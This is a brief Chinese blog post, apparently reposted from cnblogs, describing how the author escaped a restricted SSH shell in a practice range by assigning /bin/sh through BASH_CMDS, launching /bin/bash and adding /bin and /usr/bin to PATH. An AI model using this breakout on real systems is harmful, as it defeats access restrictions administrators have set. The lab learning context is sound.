测试2

今天的靶场登陆ssh后发现shell受限，如下

woami都执行不了，查看对应的bin目录，发现只能执行4个命令

image

在网上学到一招可以绕过这种受限制的被阉割的shell

BASH_CMDS[a]=/bin/sh;a    #把/bin/bash给a变量

/bin/bash                  

echo $0   #查看脚本本身的名字

echo $?    #命令执行结果反馈，0代表执行成功，其余数字表示不成功

export PATH=$PATH:/bin/    #将/bin 作为PATH环境变量导出

export PATH=$PATH:/usr/bin   #将/usr/bin作为PATH环境变量导出

执行完上面加粗的四步之后就可以执行所有命令了

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/sup3rman/p/12392161.html

标签： 网络安全
你还没有登录，请先登录或注册！
  • 还没有人评论，欢迎说说您的想法！

相关课程

英特尔® OpenVINO™工具套件初级课程
293055 0元 限免
六天机器学习入门
3943 98元